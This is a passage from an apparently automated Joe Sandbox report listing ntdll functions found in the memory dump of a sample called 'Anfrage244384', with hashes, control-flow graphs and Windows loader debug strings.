                                                          • Opcode ID: 63582e013b6f30919d2650e7399f04d54cab24c43fc5b945de6520ccbb8dd2bc
                                                          • Instruction ID: 352ebe7762b633bd2bff09fd7fa9ec612b1b407df346c6f7e129a5afdd8bf113
                                                          • Opcode Fuzzy Hash: 63582e013b6f30919d2650e7399f04d54cab24c43fc5b945de6520ccbb8dd2bc
                                                          • Instruction Fuzzy Hash: 0290023160140802D1447158480569600055BD0305F55C012A6465715E9665C9D57171
                                                          Function 34ED2B60 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 8ee5e44efca54d56804684cb662ab3119ebcff13945afb9e9b17f74eb752e9f7
                                                          • Instruction ID: a5240d49dc351d340d65ccadaa11688fedabc1c7f47fc8b554217a5b56d74e51
                                                          • Opcode Fuzzy Hash: 8ee5e44efca54d56804684cb662ab3119ebcff13945afb9e9b17f74eb752e9f7
                                                          • Instruction Fuzzy Hash: 91900471703400034145715C4415737400F5FF0305F55C033F1455750DC535CDD57175
                                                          Function 34ED2C00 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction ID: a4a3a2c0d3cbc7ad80646e012fb82e937febb0ee573f0375739ca6bdab25bec4
                                                          • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                          • Instruction Fuzzy Hash:
                                                          Function 34ED2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1125 34ed2890-34ed28b3 1126 34ed28b9-34ed28cc 1125->1126 1127 34f0a4bc-34f0a4c0 1125->1127 1129 34ed28dd-34ed28df 1126->1129 1130 34ed28ce-34ed28d7 1126->1130 1127->1126 1128 34f0a4c6-34f0a4ca 1127->1128 1128->1126 1131 34f0a4d0-34f0a4d4 1128->1131 1133 34ed28e1-34ed28e5 1129->1133 1130->1129 1132 34f0a57e-34f0a585 1130->1132 1131->1126 1134 34f0a4da-34f0a4de 1131->1134 1132->1129 1135 34ed2988-34ed298e 1133->1135 1136 34ed28eb-34ed28fa 1133->1136 1134->1126 1137 34f0a4e4-34f0a4eb 1134->1137 1140 34ed2908-34ed290c 1135->1140 1138 34f0a58a-34f0a58d 1136->1138 1139 34ed2900-34ed2905 1136->1139 1141 34f0a564-34f0a56c 1137->1141 1142 34f0a4ed-34f0a4f4 1137->1142 1138->1140 1139->1140 1140->1133 1143 34ed290e-34ed291b 1140->1143 1141->1126 1144 34f0a572-34f0a576 1141->1144 1145 34f0a4f6-34f0a4fe 1142->1145 1146 34f0a50b 1142->1146 1147 34f0a592-34f0a599 1143->1147 1148 34ed2921 1143->1148 1144->1126 1150 34f0a57c call 34ee0050 1144->1150 1145->1126 1151 34f0a504-34f0a509 1145->1151 1152 34f0a510-34f0a536 call 34ee0050 1146->1152 1156 34f0a5a1-34f0a5c9 call 34ee0050 1147->1156 1149 34ed2924-34ed2926 1148->1149 1153 34ed2928-34ed292a 1149->1153 1154 34ed2993-34ed2995 1149->1154 1169 34f0a55d-34f0a55f 1150->1169 1151->1152 1152->1169 1158 34ed292c-34ed292e 1153->1158 1159 34ed2946-34ed2966 call 34ee0050 1153->1159 1154->1153 1162 34ed2997-34ed29b1 call 34ee0050 1154->1162 1158->1159 1166 34ed2930-34ed2944 call 34ee0050 1158->1166 1174 34ed2969-34ed2974 1159->1174 1162->1174 1166->1159 1171 34ed2981-34ed2985 1169->1171 1174->1149 1176 34ed2976-34ed2979 1174->1176 1176->1156 1177 34ed297f 1176->1177 1177->1171
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: 8d0718bd2b10e610d06bd6562e8ca324782536fcdab04077a6a010256e9709db
                                                          • Instruction ID: 69c3dc3a55e52f16eea0bc1b37ad5fc48c738d07a6d6cc82bf15a92d1609b16b
                                                          • Opcode Fuzzy Hash: 8d0718bd2b10e610d06bd6562e8ca324782536fcdab04077a6a010256e9709db
                                                          • Instruction Fuzzy Hash: 375138BAE00216BFEB10CF98C88097EF7B8FF49244B50C669E468D7244D634DE458BE0
                                                          Function 34F42410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1178 34f42410-34f42433 1179 34f424ec-34f424ff 1178->1179 1180 34f42439-34f4243d 1178->1180 1182 34f42501-34f4250a 1179->1182 1183 34f42513-34f42515 1179->1183 1180->1179 1181 34f42443-34f42447 1180->1181 1181->1179 1184 34f4244d-34f42451 1181->1184 1182->1183 1185 34f4250c 1182->1185 1186 34f42517-34f4251b 1183->1186 1184->1179 1187 34f42457-34f4245b 1184->1187 1185->1183 1188 34f4251d-34f4252c 1186->1188 1189 34f42538-34f4253e 1186->1189 1187->1179 1190 34f42461-34f42468 1187->1190 1191 34f42540 1188->1191 1192 34f4252e-34f42536 1188->1192 1193 34f42543-34f42547 1189->1193 1194 34f424b6-34f424be 1190->1194 1195 34f4246a-34f42471 1190->1195 1191->1193 1192->1193 1193->1186 1196 34f42549-34f42556 1193->1196 1194->1179 1201 34f424c0-34f424c4 1194->1201 1197 34f42484 1195->1197 1198 34f42473-34f4247b 1195->1198 1199 34f42564 1196->1199 1200 34f42558-34f42562 1196->1200 1205 34f42489-34f424ab call 34ee0510 1197->1205 1198->1179 1204 34f4247d-34f42482 1198->1204 1202 34f42567-34f42569 1199->1202 1200->1202 1201->1179 1203 34f424c6-34f424ea call 34ee0510 1201->1203 1206 34f4258d-34f4258f 1202->1206 1207 34f4256b-34f4256d 1202->1207 1216 34f424ae-34f424b1 1203->1216 1204->1205 1205->1216 1212 34f42591-34f42593 1206->1212 1213 34f425ae-34f425d0 call 34ee0510 1206->1213 1207->1206 1210 34f4256f-34f4258b call 34ee0510 1207->1210 1223 34f425d3-34f425df 1210->1223 1212->1213 1217 34f42595-34f425ab call 34ee0510 1212->1217 1213->1223 1222 34f42615-34f42619 1216->1222 1217->1213 1223->1202 1225 34f425e1-34f425e4 1223->1225 1226 34f425e6-34f42610 call 34ee0510 1225->1226 1227 34f42613 1225->1227 1226->1227 1227->1222
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: efe5b7ca988942226bee5912e61695a70411e429f6c5e735a54de9899e176145
                                                          • Instruction ID: 36d05e0a8eec6d537c46e680c12632acb88ad4583b21fb786de8a696af403873
                                                          • Opcode Fuzzy Hash: efe5b7ca988942226bee5912e61695a70411e429f6c5e735a54de9899e176145
                                                          • Instruction Fuzzy Hash: 28511675A00745AFEB20CF9CC89097FBBF9EF44281B498869E499D3741EE74DA41CB60
                                                          Function 34F6A670 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285timeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1427 34f6a670-34f6a6e9 call 34ea2410 * 2 RtlDebugPrintTimes 1433 34f6a89f-34f6a8c4 call 34ea25b0 * 2 call 34ed4c30 1427->1433 1434 34f6a6ef-34f6a6fa 1427->1434 1436 34f6a724 1434->1436 1437 34f6a6fc-34f6a709 1434->1437 1441 34f6a728-34f6a734 1436->1441 1439 34f6a70f-34f6a715 1437->1439 1440 34f6a70b-34f6a70d 1437->1440 1443 34f6a7f3-34f6a7f5 1439->1443 1444 34f6a71b-34f6a722 1439->1444 1440->1439 1445 34f6a741-34f6a743 1441->1445 1446 34f6a81f-34f6a821 1443->1446 1444->1441 1447 34f6a736-34f6a73c 1445->1447 1448 34f6a745-34f6a747 1445->1448 1450 34f6a827-34f6a834 1446->1450 1451 34f6a755-34f6a77d RtlDebugPrintTimes 1446->1451 1453 34f6a73e 1447->1453 1454 34f6a74c-34f6a750 1447->1454 1448->1446 1456 34f6a836-34f6a843 1450->1456 1457 34f6a85a-34f6a866 1450->1457 1451->1433 1465 34f6a783-34f6a7a0 RtlDebugPrintTimes 1451->1465 1453->1445 1455 34f6a86c-34f6a86e 1454->1455 1455->1446 1460 34f6a845-34f6a849 1456->1460 1461 34f6a84b-34f6a851 1456->1461 1462 34f6a87b-34f6a87d 1457->1462 1460->1461 1466 34f6a857 1461->1466 1467 34f6a96b-34f6a96d 1461->1467 1463 34f6a870-34f6a876 1462->1463 1464 34f6a87f-34f6a881 1462->1464 1468 34f6a8c7-34f6a8cb 1463->1468 1469 34f6a878 1463->1469 1470 34f6a883-34f6a889 1464->1470 1465->1433 1475 34f6a7a6-34f6a7cc RtlDebugPrintTimes 1465->1475 1466->1457 1467->1470 1474 34f6a99f-34f6a9a1 1468->1474 1469->1462 1471 34f6a8d0-34f6a8f4 RtlDebugPrintTimes 1470->1471 1472 34f6a88b-34f6a89d RtlDebugPrintTimes 1470->1472 1471->1433 1478 34f6a8f6-34f6a913 RtlDebugPrintTimes 1471->1478 1472->1433 1475->1433 1480 34f6a7d2-34f6a7d4 1475->1480 1478->1433 1485 34f6a915-34f6a944 RtlDebugPrintTimes 1478->1485 1482 34f6a7d6-34f6a7e3 1480->1482 1483 34f6a7f7-34f6a80a 1480->1483 1486 34f6a7e5-34f6a7e9 1482->1486 1487 34f6a7eb-34f6a7f1 1482->1487 1484 34f6a817-34f6a819 1483->1484 1488 34f6a80c-34f6a812 1484->1488 1489 34f6a81b-34f6a81d 1484->1489 1485->1433 1493 34f6a94a-34f6a94c 1485->1493 1486->1487 1487->1443 1487->1483 1490 34f6a814 1488->1490 1491 34f6a868-34f6a86a 1488->1491 1489->1446 1490->1484 1491->1455 1494 34f6a972-34f6a985 1493->1494 1495 34f6a94e-34f6a95b 1493->1495 1498 34f6a992-34f6a994 1494->1498 1496 34f6a963-34f6a969 1495->1496 1497 34f6a95d-34f6a961 1495->1497 1496->1467 1496->1494 1497->1496 1499 34f6a996 1498->1499 1500 34f6a987-34f6a98d 1498->1500 1499->1464 1501 34f6a98f 1500->1501 1502 34f6a99b-34f6a99d 1500->1502 1501->1498 1502->1474
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: HEAP:
                                                          • API String ID: 3446177414-2466845122
                                                          • Opcode ID: 07c4b2e72f8a38ee4cbf68fc4b15d7c10d39b893472abff69475d53a6096e4fa
                                                          • Instruction ID: e9852f5fc27b4895788cc1116affab3c39f6e3bdb9b0a00a9e09f7868f1b2674
                                                          • Opcode Fuzzy Hash: 07c4b2e72f8a38ee4cbf68fc4b15d7c10d39b893472abff69475d53a6096e4fa
                                                          • Instruction Fuzzy Hash: 0BA18A76B043118FD704CE28C890A1AB7E5FF89758F194A6DE94ADB351EB34EC06CB91
                                                          Function 34EC7630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1503 34ec7630-34ec7651 1504 34ec768b-34ec7699 call 34ed4c30 1503->1504 1505 34ec7653-34ec766f call 34e9e660 1503->1505 1510 34f04638 1505->1510 1511 34ec7675-34ec7682 1505->1511 1514 34f0463f-34f04645 1510->1514 1512 34ec769a-34ec76a9 call 34ec7818 1511->1512 1513 34ec7684 1511->1513 1521 34ec76ab-34ec76c1 call 34ec77cd 1512->1521 1522 34ec7701-34ec770a 1512->1522 1513->1504 1516 34ec76c7-34ec76d0 call 34ec7728 1514->1516 1517 34f0464b-34f046b8 call 34f1f290 call 34ed9020 RtlDebugPrintTimes BaseQueryModuleData 1514->1517 1516->1522 1528 34ec76d2 1516->1528 1517->1516 1535 34f046be-34f046c6 1517->1535 1521->1514 1521->1516 1526 34ec76d8-34ec76e1 1522->1526 1530 34ec770c-34ec770e 1526->1530 1531 34ec76e3-34ec76f2 call 34ec771b 1526->1531 1528->1526 1534 34ec76f4-34ec76f6 1530->1534 1531->1534 1537 34ec76f8-34ec76fa 1534->1537 1538 34ec7710-34ec7719 1534->1538 1535->1516 1539 34f046cc-34f046d3 1535->1539 1537->1513 1540 34ec76fc 1537->1540 1538->1537 1539->1516 1541 34f046d9-34f046e4 1539->1541 1542 34f047be-34f047d0 call 34ed2c50 1540->1542 1544 34f047b9 call 34ed4d48 1541->1544 1545 34f046ea-34f04723 call 34f1f290 call 34edaaa0 1541->1545 1542->1513 1544->1542 1552 34f04725-34f04736 call 34f1f290 1545->1552 1553 34f0473b-34f0476b call 34f1f290 1545->1553 1552->1522 1553->1516 1558 34f04771-34f0477f call 34eda770 1553->1558 1561 34f04781-34f04783 1558->1561 1562 34f04786-34f047a3 call 34f1f290 call 34f0cf9e 1558->1562 1561->1562 1562->1516 1567 34f047a9-34f047b2 1562->1567 1567->1558 1568 34f047b4 1567->1568 1568->1516
                                                          Strings
                                                          • Execute=1, xrefs: 34F04713
                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 34F046FC
                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 34F04655
                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 34F04725
                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 34F04742
                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 34F04787
                                                          • ExecuteOptions, xrefs: 34F046A0
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                          • API String ID: 0-484625025
                                                          • Opcode ID: 8148af7f58f4bbda2e1e3c38f9ba0530edaf95934c6d39dd55f5267b8c23b15b
                                                          • Instruction ID: f5afbf7dd7359762cdbbf1bfe638e0a03bb7dcecc5133dd786d397bc893ac6ad
                                                          • Opcode Fuzzy Hash: 8148af7f58f4bbda2e1e3c38f9ba0530edaf95934c6d39dd55f5267b8c23b15b
                                                          • Instruction Fuzzy Hash: E15129B560031AAFFB10ABA4DD85FA977A8EF04345F4408D9E505A7190EB309E469F50
                                                          Function 34EAA250 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • Actx , xrefs: 34EF7A0C, 34EF7A73
                                                          • RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 34EF7AE6
                                                          • RtlpFindActivationContextSection_CheckParameters, xrefs: 34EF79D0, 34EF79F5
                                                          • SsHd, xrefs: 34EAA3E4
                                                          • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34EF79D5
                                                          • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34EF79FA
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
                                                          • API String ID: 0-1988757188
                                                          • Opcode ID: 2d731022cf85b42008827e62ccedd90437ad860d4ceb215b9f6c5b2cf7a3a7a9
                                                          • Instruction ID: 2102d1be6ab6c2d97cf102cec8600842f00e383ab16173e8e7224dbdb0887dfe
                                                          • Opcode Fuzzy Hash: 2d731022cf85b42008827e62ccedd90437ad860d4ceb215b9f6c5b2cf7a3a7a9
                                                          • Instruction Fuzzy Hash: 3FE1D3746047828FE714CF24C884B6AB7E5FB84368F554A2DF8A5CF290DB32D945CB91
                                                          Function 34EAD770 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 34EF9565
                                                          • GsHd, xrefs: 34EAD874
                                                          • Actx , xrefs: 34EF9508
                                                          • RtlpFindActivationContextSection_CheckParameters, xrefs: 34EF9341, 34EF9366
                                                          • SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34EF9346
                                                          • SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34EF936B
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
                                                          • API String ID: 3446177414-2196497285
                                                          • Opcode ID: aaddb3ddf5865e9b454e6e197d83acebb57da9dbb8e884b453c3ba3aa7d088fd
                                                          • Instruction ID: e48ea6db87dd2ae8eb66817c06539f49d0f09b372423c35142847fa144a6f74e
                                                          • Opcode Fuzzy Hash: aaddb3ddf5865e9b454e6e197d83acebb57da9dbb8e884b453c3ba3aa7d088fd
                                                          • Instruction Fuzzy Hash: 21E19DB46083428FE714CFA4C880F5AB7E6BF88358F454A6DE8958F291D771E944CF92
                                                          Function 34E8645D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RtlDebugPrintTimes.NTDLL ref: 34E8656C
                                                            • Part of subcall function 34E865B5: RtlDebugPrintTimes.NTDLL ref: 34E86664
                                                            • Part of subcall function 34E865B5: RtlDebugPrintTimes.NTDLL ref: 34E866AF
                                                          Strings
                                                          • apphelp.dll, xrefs: 34E86496
                                                          • Getting the shim engine exports failed with status 0x%08lx, xrefs: 34EE9A01
                                                          • LdrpInitShimEngine, xrefs: 34EE99F4, 34EE9A07, 34EE9A30
                                                          • Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 34EE99ED
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 34EE9A11, 34EE9A3A
                                                          • Loading the shim engine DLL failed with status 0x%08lx, xrefs: 34EE9A2A
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-204845295
                                                          • Opcode ID: be83348495eae9c5e6d74d47266977ae89f4939f25a2d5830dc412aeff69d1f9
                                                          • Instruction ID: ea7826b8e26360988a44be0169cff12f7f71fca1bbe2087e128b8a76ae777577
                                                          • Opcode Fuzzy Hash: be83348495eae9c5e6d74d47266977ae89f4939f25a2d5830dc412aeff69d1f9
                                                          • Instruction Fuzzy Hash: 3A519C71618304DFE724CF20D881AABB7E8EF84758F44492DF5C9AB260DA30E945DF96
                                                          Function 34F0FD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                          • API String ID: 3446177414-4227709934
                                                          • Opcode ID: 726c72495d8cbbcd7b388744439e17982acc9801f1c4115fb173ec030fc14156
                                                          • Instruction ID: 077bba8698f4d4762bb20b355aaa0469ee03238ad1ee0432d29a8b06f844cedd
                                                          • Opcode Fuzzy Hash: 726c72495d8cbbcd7b388744439e17982acc9801f1c4115fb173ec030fc14156
                                                          • Instruction Fuzzy Hash: 20418EB9E01209ABDB01DF95C880AEEBBB5FF88354F184419E904B7341C771D912EFA0
                                                          Function 34E865B5 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • LdrpLoadShimEngine, xrefs: 34EE9ABB, 34EE9AFC
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 34EE9AC5, 34EE9B06
                                                          • Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34EE9AF6
                                                          • Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 34EE9AB4
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-3589223738
                                                          • Opcode ID: a064e1ebfc17252005ed16d8af1ec6225ff564b8469ca3f67ec6f119b680bda0
                                                          • Instruction ID: 6ccc9a996be3bf2845a66096900f9cd371a7016a529ed4e7654834701f9b74e1
                                                          • Opcode Fuzzy Hash: a064e1ebfc17252005ed16d8af1ec6225ff564b8469ca3f67ec6f119b680bda0
                                                          • Instruction Fuzzy Hash: 4F51D276A10358DFEB04DBB8C844EAD77A6EF44718F080569E489BF2A5DB709C42CB94
                                                          Function 34EBDB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
